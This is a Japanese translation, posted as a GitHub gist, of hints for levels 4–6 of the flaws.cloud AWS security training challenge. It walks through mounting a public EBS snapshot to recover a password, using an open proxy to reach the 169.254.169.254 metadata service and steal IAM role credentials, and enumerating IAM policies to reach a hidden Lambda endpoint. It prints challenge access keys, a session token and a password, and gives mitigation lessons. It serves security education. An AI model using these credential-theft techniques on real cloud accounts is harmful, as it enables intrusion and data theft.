Skip to content

Instantly share code, notes, and snippets.

@yujitounai
Created November 8, 2018 03:17
Show Gist options
  • Save yujitounai/e105aff890fb12a34d175b126d674207 to your computer and use it in GitHub Desktop.
Save yujitounai/e105aff890fb12a34d175b126d674207 to your computer and use it in GitHub Desktop.
flaws.cloudのヒント4-6の雑翻訳

レベル 4

次のレベルでは、EC2で実行されているWebページにアクセスする必要があります

スナップショットは、nginxがインストールされた直後にEC2で作成されたことを知っておくと便利です。

レベル 4: ヒント 1

EC2のディスクボリュームをバックアップとしてスナップショットすることができます。この場合、スナップショットは公開されましたが、それを見つける必要があります。

これを行うには、まず、以前のレベルのAWSキーを使用して取得できるアカウントIDが必要です。

aws --profile flaws sts get-caller-identity

このコマンドを使用すると、アカウントの名前も表示されます。この場合、名前は「backup」です。このアカウントによって行われるバックアップは、EC2のスナップショットです。次に、スナップショットを検出します。

aws --profile flaws  ec2 describe-snapshots --owner-id 975426262029

出力をフィルタリングするためだけにowner-idを指定します。楽しみのために、owner-idを付けずにそのコマンドを実行し、公開可能なすべてのスナップショットを確認します。デフォルトでは、スナップショットは非公開であり、他のアカウントのアカウントIDを指定することでアカウント間で安全に転送することができますが、多くの人が公開するようにしているようです。

このスナップショットはus-west-2にあります。あなたはそのスナップショットを見たいと思うでしょう。

(訳注: --region us-west-2がいるかも)

レベル 4: ヒント 2

スナップショットIDを知ったので、マウントしたいと思うでしょう。あなた自身のAWSアカウントでこれを行う必要があります。あなたは無料で入手できます。

まず、スナップショットを使用してボリュームを作成します。

aws --profile YOUR_ACCOUNT ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

(訳注:EC2のコンソールからボリュームを作ってもいいかも)

コンソール上でus-west-2リージョンとストレージオプションを設定してEC2インスタンス(私はubuntuが好きですが、どんなLinuxでもいい)を作成します。すると作成したボリュームを選択することができます。

(訳注:ボリュームは2つになるので動いてない方をアタッチする)

以下のようにインスタンスにSSH接続します。

ssh -i YOUR_KEY.pem [email protected]

(訳注:接続方法はコンソールの「接続」に従えばいいです)

この特別なボリュームをマウントする必要があります:

lsblk

# Returns:
#  NAME    MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
#  xvda    202:0    0   8G  0 disk
#  └─xvda1 202:1    0   8G  0 part /
#  xvdb    202:16   0   8G  0 disk
#  └─xvdb1 202:17   0   8G  0 part

sudo file -s /dev/xvdb1

# Returns:
#  /dev/xvdb1: Linux rev 1.0 ext4 filesystem data, UUID=5a2075d0-d095-4511-bef9-802fd8a7610e, volume name "cloudimg-rootfs" (extents) (large files) (huge files)

# Next we mount it

sudo mount /dev/xvdb1 /mnt

レベル 4: ヒント 3

ボリュームを接続したら、パスワードを知らせる何かを見回したいと思うでしょう。 find /mnt -mtime -1のいくつかの亜種を実行すると最近のファイルを見つけることができます。最近のファイルは、

find /mnt -type f -mtime -1 2> /dev/null | grep -v "/var/" | grep -v "/proc/" | grep -v "/dev/" | grep -v "/sys/" | grep -v "/run/" | less

それはあなたの検索の絞り込みに役立つように変更された約36ファイルを表示するでしょう。 (訳注:マウントされるボリュームが古いので結果は出ない)

レベル 4: ヒント 4

ubuntuユーザのホームディレクトリには、 /home/ubuntu/setupNginx.sh というファイルがあります。

これにより、basic認証のユーザーが作成されています。

htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

学んだ教訓

AWSでは、EC2とデータベース(RDS)のスナップショットを作成できます。その主な目的はバックアップを作成することですが、パスワードを忘れたときに、スナップショットを使用して自分のEC2にアクセスすることがあります。これにより、攻撃者は物事にアクセスできるようになります。スナップショットは通常自分のアカウントに限定されているため、攻撃者は攻撃者がAWSキーにアクセスしてEC2の開始/停止やその他の操作を行うことができ、EC2をスナップショットに使用し、EC2をそのボリュームにアクセスするための環境内のボリュームすべてのバックアップと同様に、バックアップを慎重に保護する必要があります。

レベル 5

このEC2には、単純なHTTPのみのプロキシがあります。その使用法のいくつかの例を以下に示します。

このプロキシを使用して、level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud にlevel6バケットの内容をリストする方法を理解できるかどうかを確認してください。 レベル6のバケットには隠れたディレクトリがあります。

レベル 5:ヒント 1

AWSを含むクラウドサービスでは、IP 169.254.169.254が魔法です。それはメタデータサービスです。

このアドレスについてはRFC(RFC-3927) がありますが、ここでAWS固有のドキュメントここ を読む必要があります。

レベル 5:ヒント 2

あなたは (http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/l) から (http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/) に道を見つけることができたはずです。

レベル 5:ヒント 3

.git repoキーの存在を知っていたレベル6バケットの内容を次のような方法でリストすることを可能にした EC2のIAMロールによって提供されたAWS資格情報を見つけたはずです。

これによりEC2のIAMロールから提供されたAWSの資格情報を見つけられたはずです。 これはレベル6バケットの内容をリストすることが可能です。

.gitリポジトリの存在は、次のようなコマンドで知ることができました。

aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud

あなたの~/.aws/credentialsファイルのトークンを以下ののように指定する必要があることに注意してください:

[level5]
aws_access_key_id = ASIAJO7K65L4SF2H46NA
aws_secret_access_key = aRSf3r0kGDAjDrfu4MvT4fbogSVnTgmhNEjDMydo
aws_session_token = FQoDYXdzEDcaDHXfBLcFnxqv3Fs8aiK3A5gdfngeeKowhp9CvklC1QeshSXdMmyfS6rkPizvGpt3l5LrhqxEg7BLnCBllxpbbILZ+9H4bhGMPR7dXR3mc32L5y8zm2+0VszTewxXbKG0Sf3EjDRJZBOzwPJZmlpn0oVsAnqYhkk9fpOVAFOPSufsaKNWF6vAHl2jT9dANWExumXT9Rc4ZR9jKc7xhxYEcxXBoKr+xFYiblki6FkqGlfIChLz/4EZsEdjYCd/2HAQyMOMe1d/KPE0nE8srIBN5aBoXbddcL6ix1xGpAEfNBhxI3UwVp5eMU5cskyRQlk3wtQYuXfL8xprOqYSf1KwmSyhHEgDOwZgc+SmiV2tbA5RfuWz48aU2NfZnu5xQqnpW7NwyQaRfXbfewNlYMPzRUH4sX441RGl1JYK5PWfsdvyEXbaxUKMNMrASqQpFboPefyXasYFEuZQFdgkHy5oRG3vBrIzf4O9U+gDM+kUUJf5YmBy9vmjzLv4N2SM0kzB/uAQaPmAHS9aMzeaZIJcze35snBSDtb+IJ3T2V5p93rDtKCkuKAe1M30JFzS3EdL6An7zZ/VRSSJ2fM86699LE5bMeWlr+so05/NxQU=

そうしないと、InvalidAccessKeyIdエラーが発生します。

レベル 5:ヒント 4

バケットを見るとこのように表示されます。

$ aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
                           PRE ddcc78ff/
2017-02-26 13:06:05        915 index.html

学んだ教訓

IPアドレス169.254.169.254は、クラウドの世界の魔法のIPです。 AWS、Azure、Google、DigitalOceanなどがこれを使用して、クラウドリソースが自分に関するメタデータを見つけられるようにします。 Googleのように、HTTPヘッダーとして Metadata-Flavor:Googleを使用し、 X-Forwarded-Forヘッダーで要求を拒否するなど、リクエストには追加の制約があります。 AWSには制約がありません。 EC2からそのIPに任意の種類のHTTP要求を行うことができれば、所有者が見たくない情報を取得する可能性があります。

この問題の実例

NicolasGrégoire 氏は、preziは、あなたのサーバーがスライドにコンテンツとして含めるURLを指定することを許可し、これにより、EC2インスタンスプロファイルのアクセスキーを提供する169.254.169.254を指すことができたことを発見しました(リンク) 。彼はまた、PhabricatorCoinbase でもこの魔法のIPにアクセスできる問題を発見しました。

IAMプロファイルのアクセスキーにアクセスすることに関する同様の問題は、EC2のユーザーデータへのアクセスです。ユーザーのデータは、APIキーや資格情報などの秘密情報をEC2に渡すことがあります。

このミスを避けるには

アプリケーションで169.254.169.254またはローカルおよびプライベートIP範囲にアクセスできないようにしてください。さらに、IAMの役割が可能な限り制限されていることを確認してください。

レベル 6

この最終的なチャレンジでは、SecurityAuditポリシーが添付されたユーザーアクセスキーが取得されています。このAWSアカウントで他に何ができるのか、他に何があるのかを探しましょう。

Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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

レベル 6 ヒント 1

SecurityAuditグループは、AWSアカウントのリソースの概要をハイレベルで表示できますが、IAMポリシーを調べる場合にも役立ちます。まず、あなたが誰であるかを知りましょう(あなたのプロフィールに「level6」という名前を付けたと仮定します):

aws --profile level6 iam get-user

ユーザ名がLevel6であることがわかったので、どのポリシーがこのユーザーに与えられているかを知ることができます:

aws --profile level6 iam list-attached-user-policies --user-name Level6

これで、2つのポリシーが添付されていることがわかりました。

  • SecurityAudit:これはあなたのコンソールか、ここ で調べることができるAWSポリシーです。
  • list_apigateways:私が作ったカスタムです。私はそれがこの挑戦に役立つだろうと思うので、それが何であるか把握しようとするべきです。

ポリシーのARNを知ったら、そのバージョンのIDを取得できます:

aws --profile level6 iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways

ARNとバージョンIDがあるので、実際のポリシーは何かを知ることができます:

aws --profile level6 iam get-policy-version  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4

これは、arn:aws:apigateway:us-west-2::/restapis/*apigateway:GETと呼ぶことができるこのポリシーを使用していることを示しています。

これを使用すると、隠されたリソースの方向にあなたを導くはずです。

レベル6 ヒント 2

あなたは今あなたが arn:aws:apigateway:us-west-2::/restapis/*を得る能力を持っていることを知っています。

この場合のAPIゲートウェイはラムダ関数を呼び出すために使用されますが、呼び出す方法を理解する必要があります。

SecurityAuditポリシーを使用すると、lambdaに関するいくつかのことが表示されます。

aws --region us-west-2 --profile level6 lambda list-functions

つまり、 "Level6"という名前の関数があり、SecurityAuditを実行すると次のようになります。

aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6

これは、 arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\を実行する能力を示しています。 "s33ppypa75"はrest-api-idです。添付されている他のポリシーで使用してください:

aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"

ステージ名は "Prod"です。ラムダ関数は、そのrest-api-id、ステージ名、領域を使用して呼び出されます。 リソースは https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6 です。 このURLにアクセスしてください。

学んだ教訓

一般的に、SecurityAuditポリシーなどの読み取り専用アクセス許可をユーザーやエンティティに与えることが一般的です。自分や他のIAMポリシーを読む能力は、攻撃者が自分の環境に存在するものを見つけ出し、弱点や間違いを探すのに役立ちます。

このミスを避ける

あなたがメタデータを読んだり、あなたの許可が何であるかだけを知ることができるような許可さえ、自由にすべての権限を渡さないでください。

終了

flawSのチャレンジを完了したことをお祝いします! [email protected]にフィードバックを送ってください。 あなたが何かを学んだら、あなたの友人にそれについて話してください。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment